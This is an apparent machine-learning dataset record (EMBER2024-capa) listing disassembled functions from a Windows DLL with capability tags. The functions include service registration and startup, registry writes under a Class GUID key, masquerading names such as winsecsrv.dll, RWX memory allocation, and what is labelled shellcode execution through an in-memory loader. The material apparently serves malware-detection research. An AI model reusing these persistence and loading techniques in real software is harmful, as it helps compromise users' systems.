joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100010e9
Capabilities:
Set registry value

Disassembly:
push 0x2b0
mov eax, 0x1004d73c
call fcn.10035b95
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0x1c]
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x298], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x294], eax
xor eax, eax
push 0x76
mov word [ebp - 0x290], ax
xor edi, edi
lea eax, [ebp - 0x28e]
push edi
push eax
call fcn.10035680
push 0x1ea
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.10035680
add esp, 0x18
push esi
lea ecx, [ebp - 0x2c]
call fcn.10002648
mov dword [ebp - 4], edi
cmp dword [ebp - 0x18], 3
jbe 0x10001195
push 3
push edi
lea eax, [ebp - 0x2bc]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100026b7
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.10002869
push edi
push 1
lea ecx, [ebp - 0x2bc]
call fcn.100029d6
jmp 0x100011bd
cmp dword [ebp - 0x18], 1
jne 0x100011a9
push 0x100533b4
lea eax, [ebp - 0x2c]
push eax
call fcn.1000268e
cmp dword [ebp - 0x18], 2
jne 0x100011bd
push 0x100533bc
lea eax, [ebp - 0x2c]
push eax
call fcn.1000268e
push ebx
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x290]
push eax
call fcn.1000351b
push dword [ebp - 0x2a0]
lea eax, [ebp - 0x128]
push esi
push eax
call fcn.1000351b
push dword [ebp - 0x298]
lea eax, [ebp - 0x1a0]
push esi
push eax
call fcn.1000351b
push dword [ebp - 0x29c]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.1000351b
push dword [ebp - 0x294]
lea eax, [ebp - 0xb0]
push esi
push eax
call fcn.1000351b
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x10001226
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x38]
push eax
call fcn.1000351b
lea eax, [ebp - 0x290]
push eax
call fcn.10001000
mov dword [esp], 0x262
lea eax, [ebp - 0x290]
push eax
push 3
push 0x100533c0
push str.SYSTEMCurrentControlSetControlClassC7EDC113_86D5_4CD7_A0F0_59E9C0048E66
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov esi, eax
neg esi
push edi
sbb esi, esi
push 1
lea ecx, [ebp - 0x2c]
inc esi
call fcn.100029d6
mov eax, esi
call fcn.10035c18
ret 0x18
Function at 0x1000127f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, 0x262
push edi
xor ebx, ebx
push ebx
push esi
mov dword [ebp - 4], edi
call fcn.10035680
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
push ebx
push 0x100533c0
push str.SYSTEMCurrentControlSetControlClassC7EDC113_86D5_4CD7_A0F0_59E9C0048E66
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x100012c9
cmp dword [ebp - 4], edi
jne 0x100012c9
push esi
call fcn.10001000
pop ecx
lea eax, [esi + 0x168]
push 0x3c
pop edi
cmp word [eax], bx
jne 0x100012e3
push str.wincsecsrv.dat
push edi
push eax
call fcn.1000351b
lea eax, [esi + 0xf0]
cmp word [eax], bx
jne 0x100012fa
push str.winsecsrv.dll
push edi
push eax
call fcn.1000351b
lea eax, [esi + 0x78]
cmp word [eax], bx
jne 0x1000130e
push str.winlsecsrv.sys
push edi
push eax
call fcn.1000351b
cmp word [esi], bx
jne 0x1000131f
push str.winlsecsrv
push edi
push esi
call fcn.1000351b
lea eax, [esi + 0x1e0]
cmp word [eax], bx
jne 0x10001336
push str.winsecsrv
push edi
push eax
call fcn.1000351b
lea eax, [esi + 0x258]
cmp word [eax], bx
je 0x1000134a
cmp word [esi + 0x25c], bx
jne 0x10001357
push 0x10053454
push 4
push eax
call fcn.1000351b
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 4

Function at 0x1000143f
Capabilities:
Create thread
Print debug messages

Disassembly:
push ebx
push esi
xor esi, esi
push 0x100604b0
mov dword [0x10060494], 0x110
mov dword [0x10060498], 2
mov dword [0x1006049c], 4
mov dword [0x100604a0], esi
mov dword [0x100604a4], esi
mov dword [0x100604a8], esi
mov dword [0x100604ac], 0xbb8
call sym.EXEngine.dll_Ordinal_25
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push str.Enter_Service_Main__n
call ebx
push esi
push 0x100013bd
push 0x10060690
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov dword [0x10060490], eax
cmp eax, esi
jne 0x100014b5
push str.Service_Main_RegisterServiceCtrlHandlerExW_Failed__n
jmp 0x100014ff
push 0xbb8
push 2
pop eax
call fcn.10001361
pop ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
push esi
push eax
push 0x10001506
push esi
push esi
mov dword [0x10060484], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10060488], eax
push esi
cmp eax, esi
je 0x100014f1
push 4
pop eax
jmp 0x100014f4
xor eax, eax
inc eax
call fcn.10001361
pop ecx
push str.Leave_Service_Main__n
call ebx
pop esi
pop ebx
ret 8
Function at 0x100016cd
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
xor ebx, ebx
push 0xf003f
push ebx
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x100016f2
xor eax, eax
pop ebx
leave
ret
push edi
push 0x10000000
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, ebx
jne 0x10001716
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
pop edi
jmp 0x100016ef
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x30]
push eax
push ebx
push edi
call esi
mov dword [ebp - 0xc], eax
cmp eax, 1
jne 0x10001760
cmp dword [ebp - 0x2c], 2
jne 0x10001744
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x30]
push eax
push ebx
push edi
call esi
mov ecx, dword [ebp + 0xc]
xor eax, eax
cmp dword [ebp - 0x2c], 4
sete al
mov dword [ecx], eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, dword [ebp - 0xc]
pop esi
jmp 0x10001708

Function at 0x1000176d
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push edi
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
inc eax
push 0xf003f
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0xc]
push 0
mov dword [ebp - 8], 0xea60
mov dword [ebp - 0x20], 0x15180
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x100017b4
pop edi
pop ebx
leave
ret
push esi
push 0x10000000
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
jne 0x100017da
xor edi, edi
push ebx
call esi
mov eax, edi
pop esi
jmp 0x100017b0
lea eax, [ebp - 0x20]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push edi
mov dword [ebp - 4], eax
call esi
mov edi, dword [ebp - 4]
jmp 0x100017d2
Function at 0x100017f2
Capabilities:
Set registry value
Start service

Disassembly:
sub esp, 0xc
push ebp
push esi
push 4
lea eax, [esp + 0x10]
push eax
push 4
push str.ServicesPipeTimeout
push str.SYSTEMCurrentControlSetControl
xor ebp, ebp
push 0x80000002
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], 0xea60
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov esi, dword [esp + 0x18]
add esi, 0x1e0
push esi
mov dword [esp + 0x14], esi
call fcn.1000176d
lea eax, [esp + 0xc]
push eax
push esi
call fcn.100016cd
add esp, 0xc
cmp dword [esp + 8], ebp
jne 0x100018b9
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [esp + 0x1c], ebp
push edi
push 0xf003f
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
cmp edi, ebp
je 0x100018ac
push 0x10000000
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x100018a6
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10001899
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x1000189c
xor ebp, ebp
inc ebp
push esi
call ebx
push edi
call ebx
test ebp, ebp
jne 0x100018b7
mov esi, dword [esp + 0x18]
xor ebp, ebp
inc dword [esp + 0x20]
cmp dword [esp + 0x20], 5
jb 0x10001857
pop edi
pop ebx
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
pop esi
pop ebp
add esp, 0xc
ret

Function at 0x100018ca
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push 3
xor edx, edx
pop ecx
div ecx
and dword [ebp - 4], 0
mov ecx, eax
mov edi, ecx
shr edi, 1
mov esi, ecx
test ecx, ecx
jne 0x100018f0
mov ecx, 0xf789
test edi, edi
jne 0x100018f9
mov edi, 0x8790
test esi, esi
jne 0x10001902
mov esi, 0x7987988
mov eax, edi
imul eax, ecx
push 9
xor edx, edx
pop ebx
div ebx
shr esi, 2
xor ebx, ebx
add esi, eax
lea esi, [esi + edi + 9]
cmp esi, ebx
jne 0x1000191f
mov esi, edi
imul ecx, ecx, 3
sub ecx, eax
add ecx, esi
shl ecx, 2
push ecx
call fcn.100022af
mov dword [esp], str.Enter_Callback_Entry__n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call fcn.1001fb04
mov esi, 0x100604b0
push esi
call sym.EXEngine.dll_Ordinal_25
push esi
call fcn.100017f2
mov dword [esp], 0x1005351c
push 8
mov edi, 0x10060714
push edi
call fcn.1000351b
push 0x10060708
push 8
push edi
call fcn.100030cb
push str.GlobalB2AF21B3_026B_482d_8B41_2B169E992E36
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [0x1006048c], eax
cmp eax, ebx
je 0x10001998
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret 0x10
lea eax, [ebp + 0xc]
push eax
push 0x1005049c
mov dword [ebp + 0xc], ebx
call sym.EXEngine.dll_Ordinal_5
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x100019c7
mov ecx, dword [eax]
push ebx
push 0x10060528
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100019c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 4]
push eax
call fcn.100095cc
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
call dword [eax + 0xc]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100019d8
Function at 0x10002172
Capabilities:
Get common file path

Disassembly:
push 0x22c
mov eax, 0x1004f456
call fcn.10035b95
mov edi, ecx
mov eax, dword [0x1005eb3c]
cmp eax, 0xffffffff
je 0x1000219a
cmp eax, edi
jne 0x1000219a
xor eax, eax
inc eax
call fcn.10035c18
ret
mov dword [0x1005eb3c], edi
call sym.EXEngine.dll_Ordinal_26
test eax, eax
jne 0x10002191
lea eax, [ebp - 0x238]
push eax
xor esi, esi
push 0x1005049c
mov dword [ebp - 0x238], esi
call sym.EXEngine.dll_Ordinal_5
mov eax, dword [ebp - 0x238]
cmp eax, esi
je 0x100021eb
mov ecx, dword [eax]
push esi
push 0x10060528
push 0x100604b0
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100021eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x10002194
push esi
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x21c], 7
call fcn.10002cd5
xor eax, eax
mov dword [ebp - 4], esi
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push esi
push eax
call fcn.10035680
add esp, 0xc
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x234]
call fcn.100028fc
push str.Explorer.exe
lea ecx, [ebp - 0x234]
call fcn.1000266a
mov ecx, dword [ebp - 0x230]
cmp edi, esi
je 0x1000229c
cmp dword [ebp - 0x21c], 8
jae 0x1000226f
lea ecx, [ebp - 0x230]
push ecx
push 0x400
mov eax, dword [ebp - 0x238]
mov edx, dword [eax]
push esi
push eax
call dword [edx + 0xe0]
push esi
push 1
lea ecx, [ebp - 0x234]
mov edi, eax
call fcn.100029d6
mov eax, edi
jmp 0x10002194
cmp dword [ebp - 0x21c], 8
jae 0x100022ab
lea ecx, [ebp - 0x230]
push ecx
push esi
jmp 0x10002275
Function at 0x1000238a
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push 0x4c4
mov eax, 0x1004ddbd
call fcn.10035b95
xor eax, eax
xor ebx, ebx
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
mov dword [ebp - 0x488], ebx
call fcn.10035680
add esp, 0xc
xor eax, eax
push 0x76
mov word [ebp - 0x480], ax
lea eax, [ebp - 0x47e]
push ebx
push eax
call fcn.10035680
add esp, 0xc
push 0x1ea
lea eax, [ebp - 0x408]
push ebx
push eax
call fcn.10035680
add esp, 0xc
lea eax, [ebp - 0x488]
push eax
push 0x20019
push ebx
push str.SYSTEMCurrentControlSetControlClass
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100024d2
mov dword [ebp - 0x484], ebx
push 0x104
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x484]
push dword [ebp - 0x488]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
cmp eax, 0x103
je 0x100024d2
lea eax, [ebp - 0x48c]
push eax
lea eax, [ebp - 0x480]
push eax
push ebx
push 0x100533c0
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x488]
mov esi, 0x262
mov dword [ebp - 0x48c], esi
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x100024bc
cmp dword [ebp - 0x48c], esi
jne 0x100024bc
lea eax, [ebp - 0x480]
push eax
call fcn.10001000
mov esi, dword [edi + 0x14]
pop ecx
lea eax, [ebp - 0x480]
push eax
push dword [esi + 4]
push esi
call fcn.10002d90
mov ecx, dword [edi + 0x18]
mov edx, 0x6b6fa1
sub edx, ecx
cmp edx, 1
jb 0x100024d8
inc ecx
mov dword [edi + 0x18], ecx
mov dword [esi + 4], eax
mov ecx, dword [eax + 4]
mov dword [ecx], eax
inc dword [ebp - 0x484]
cmp dword [ebp - 0x484], 0x3e8
jb 0x1000241a
call fcn.10035c18
ret
push str.list_T__too_long
lea ecx, [ebp - 0x4d0]
call fcn.100039b0
lea eax, [ebp - 0x4d0]
push eax
lea ecx, [ebp - 0x4b4]
mov dword [ebp - 4], ebx
call fcn.10002fe8
push 0x10056be0
lea eax, [ebp - 0x4b4]
push eax
mov dword [ebp - method.std::length_error.virtual_0], vtable.std::length_error.0
call fcn.100356fa
int3

Function at 0x10003b67
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x19c
mov eax, dword [0x1005ce10]
xor eax, esp
mov dword [esp + 0x194], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x194]
neg eax
sbb al, al
xor ecx, esp
inc al
call fcn.10032a69
add esp, 0x19c
ret
Function at 0x10003fa1
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004f777
mov eax, dword fs:[0]
push eax
sub esp, 0x21c
mov eax, dword [0x1005ce10]
xor eax, esp
mov dword [esp + 0x214], eax
push ebx
push esi
mov eax, dword [0x1005ce10]
xor eax, esp
push eax
lea eax, [esp + 0x228]
mov dword fs:[0], eax
xor eax, eax
push 0x206
mov word [esp + 0x18], ax
xor ebx, ebx
lea eax, [esp + 0x1a]
push ebx
push eax
call fcn.10035680
add esp, 0xc
cmp dword [edi + 0x18], ebx
jne 0x100040f3
call fcn.10003b67
push ebx
push 0x23
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.Cache
lea eax, [esp + 0x18]
push eax
call esi
push ebx
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.CD31F005_B4E0_4798_BD77_7B5E6EB2B287
lea eax, [esp + 0x18]
push eax
call esi
lea eax, [esp + 0x14]
push eax
lea eax, [edi + 0x5c]
push eax
call fcn.100054b6
push edi
call fcn.10004118
lea esi, [edi + 8]
call fcn.1001a72b
test al, al
jne 0x1000406a
xor al, al
jmp 0x100040f5
push edi
call fcn.10004f59
push 0xd0
call fcn.10032b10
pop ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x230], ebx
cmp eax, ebx
je 0x10004096
push eax
call fcn.1000bba7
mov dword [esp + 0x10], eax
jmp 0x1000409a
mov dword [esp + 0x10], ebx
or dword [esp + 0x230], 0xffffffff
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x100040b4
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [edi + 0x9c]
cmp eax, ebx
je 0x100040c6
lea esi, [eax + 4]
call fcn.1000610d
mov eax, dword [esp + 0x10]
push edi
mov esi, eax
mov dword [edi + 0x9c], eax
call fcn.1000bc68
push dword [edi + 0x9c]
call fcn.1000bd9e
test al, al
jne 0x100040f3
mov eax, edi
call fcn.100044c6
jmp 0x10004063
mov al, 1
mov ecx, dword [esp + 0x228]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.10032a69
mov esp, ebp
pop ebp
ret
Function at 0x100050b2
Capabilities:
Clear file content
Get file size
Write file on windows

Disassembly:
push 0x70
mov eax, 0x1004e3d0
call fcn.10035b95
mov esi, ecx
mov dword [ebp - 0x68], esi
xor ebx, ebx
push 0x1005450c
lea ecx, [ebp - 0x48]
mov dword [ebp - 4], ebx
call fcn.10002648
mov byte [ebp - 4], 1
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov byte [ebp - 0x2c], bl
lea edi, [ebp - 0x2b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x2c]
push eax
push ecx
mov ecx, dword [ebp + 8]
mov eax, esp
mov dword [eax], ecx
mov dword [ebp - 0x64], esp
cmp dword [ebp + 8], ebx
je 0x1000510f
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
call fcn.1000526d
xor edi, edi
movzx eax, byte [ebp + edi - 0x2c]
push eax
push 0x10053970
lea eax, [ebp - 0x1c]
push 6
push eax
call fcn.10007d0f
add esp, 0x10
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x48]
call fcn.1000266a
inc edi
cmp edi, 0x10
jl 0x10005116
lea eax, [esi + 0x7c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [eax]
mov dword [ebp - 0x70], ecx
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x7c]
push ecx
push eax
mov dword [ebp - 0x64], eax
call fcn.1000577f
lea edi, [ebp - 0x70]
mov esi, eax
call fcn.1001a036
test al, al
jne 0x10005194
mov byte [ebp - 0x49], 1
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.100029d6
or dword [ebp - 4], 0xffffffff
lea eax, [ebp + 8]
call fcn.10005e7d
mov al, byte [ebp - 0x49]
call fcn.10035c18
ret 4
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x5c]
push ebx
push 0x80
push 4
push ebx
push 1
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100051be
mov byte [ebp - 0x49], 0
jmp 0x10005172
lea eax, [ebp - 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov edi, dword [ebp - 0x54]
push ebx
push 0x10
push edi
push dword [ebp - 0x58]
call fcn.10049ab0
or eax, edx
jne 0x10005204
cmp edi, ebx
jg 0x10005204
jl 0x100051eb
cmp dword [ebp - 0x58], 0x4000
ja 0x10005204
mov eax, dword [ebp - 0x58]
push ebx
lea ecx, [ebp - 0x60]
push ecx
push edi
push eax
push esi
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x1000522f
push ebx
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push esi
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp dword [ebp - 0x54], ebx
jg 0x1000522f
jl 0x10005228
cmp dword [ebp - 0x58], 0x4000
jae 0x1000522f
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
lea eax, [ebp - 0x74]
push eax
push 0x10
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
dec ebx
neg ebx
sbb bl, bl
push esi
inc bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x64]
call fcn.10005678
mov byte [ebp - 0x49], bl
mov dword [eax], 1
xor ebx, ebx
jmp 0x10005172
Function at 0x1000906a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10009081
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x100090b6
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x100090b2
cmp edi, eax
jae 0x100090b6
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x100090a4
cmp edi, eax
jb 0x100090ba
xor eax, eax
jmp 0x100090c3
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x10009c62
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebx + 0x94]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0xc]
shl eax, 4
add eax, 0x94
cmp eax, dword [ebp + 0xc]
jbe 0x10009c86
xor eax, eax
jmp 0x10009d0e
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov edi, 0x1000
push edi
push dword [ebx + 0x10]
push dword [ebx + 8]
call esi
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
test eax, eax
jne 0x10009cb7
push 0x40
push edi
push dword [ebx + 0x10]
push eax
call esi
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
mov eax, dword [ebp + 8]
mov edi, dword [eax + 8]
test edi, edi
je 0x10009d12
push 0x25
pop ecx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
xor edi, edi
cmp dword [ebx + 0xc], edi
jbe 0x10009d09
mov esi, dword [ebp - 4]
mov eax, dword [esi + 8]
cmp eax, dword [ebp + 0xc]
ja 0x10009d12
mov ecx, dword [esi]
mov edx, dword [esi + 4]
add edx, ecx
cmp edx, dword [ebx + 0x10]
ja 0x10009d12
push dword [esi + 0xc]
add eax, ebx
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
add eax, ecx
push eax
call fcn.10036010
add esi, 0x10
add esp, 0xc
inc edi
mov dword [ebp - 4], esi
cmp edi, dword [ebx + 0xc]
jb 0x10009ccf
xor eax, eax
inc eax
pop edi
pop esi
leave
ret 8
xor eax, eax
jmp 0x10009d0c
Function at 0x10009d16
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
cmp dword [ebp + 8], 0x94
push ebx
push esi
push edi
mov ebx, eax
mov edi, ecx
jae 0x10009d3d
push str.invalid_image_file_
push edi
call fcn.100054b6
jmp 0x10009dd5
cmp dword [ebx], 0xbcedbedb
jne 0x10009d2d
push dword [ebp + 8]
push edi
call fcn.10009c62
test eax, eax
je 0x10009d2d
mov eax, dword [edi + 8]
mov ecx, dword [ebx + 8]
cmp eax, ecx
jne 0x10009d61
xor eax, eax
inc eax
jmp 0x10009dd7
mov esi, eax
sub esi, ecx
je 0x10009d9e
cmp dword [ebx + 0x20], 0
je 0x10009d79
mov ecx, dword [ebx + 0x1c]
push eax
add ecx, eax
push edi
call fcn.1000a214
mov ecx, dword [ebx + 0x40]
test ecx, ecx
je 0x10009d8f
mov edx, dword [edi + 8]
mov eax, dword [ebx + 0x3c]
push esi
push edx
add eax, edx
call fcn.1000a1d4
cmp dword [ebx + 0x60], 0
je 0x10009d9e
mov eax, dword [ebx + 0x5c]
add eax, dword [edi + 8]
mov dword [edi + 0x34], eax
push edi
push dword [0x10060730]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
xor esi, esi
inc esi
push esi
push edi
call fcn.10009e60
test eax, eax
je 0x10009dd0
mov ecx, edi
mov dword [edi + 0xc], esi
call fcn.10009de0
test eax, eax
jne 0x10009dcc
call fcn.10009ec3
mov eax, esi
jmp 0x10009dd7
call fcn.10009ec3
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10009ec3
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov ecx, dword [edi + 0x30]
sub esp, 0x10
push ebx
push esi
xor esi, esi
cmp ecx, esi
je 0x10009eec
mov eax, dword [ecx]
call dword [eax + 0x10]
mov eax, dword [edi + 0x30]
cmp eax, esi
je 0x10009eec
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [edi + 0x30], esi
cmp dword [edi + 0xc], esi
je 0x10009efb
push esi
push edi
call fcn.10009e60
mov dword [edi + 0xc], esi
mov eax, dword [edi + 8]
cmp eax, esi
je 0x10009f12
push 0x8000
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edi + 8], esi
lea esi, [edi + 0x10]
mov eax, dword [esi + 0x14]
mov ebx, dword [eax]
mov eax, dword [esi]
mov dword [esp + 8], eax
cmp dword [esp + 8], 0
mov eax, dword [esi + 0x14]
mov dword [esp + 0x14], eax
mov eax, dword [esi]
je 0x10009f36
cmp dword [esp + 8], eax
je 0x10009f3b
call fcn.1003322b
cmp ebx, dword [esp + 0x14]
je 0x10009f88
mov eax, dword [esp + 8]
test eax, eax
jne 0x10009f80
call fcn.1003322b
xor eax, eax
cmp ebx, dword [eax + 0x14]
jne 0x10009f5a
call fcn.1003322b
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 8]
test eax, eax
jne 0x10009f84
call fcn.1003322b
xor eax, eax
cmp ebx, dword [eax + 0x14]
jne 0x10009f7c
call fcn.1003322b
mov ebx, dword [ebx]
jmp 0x10009f20
mov eax, dword [eax]
jmp 0x10009f50
mov eax, dword [eax]
jmp 0x10009f72
call fcn.1000aac4
lea esi, [edi + 4]
call fcn.10005547
push 0
push dword [0x10060730]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
xor eax, eax
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret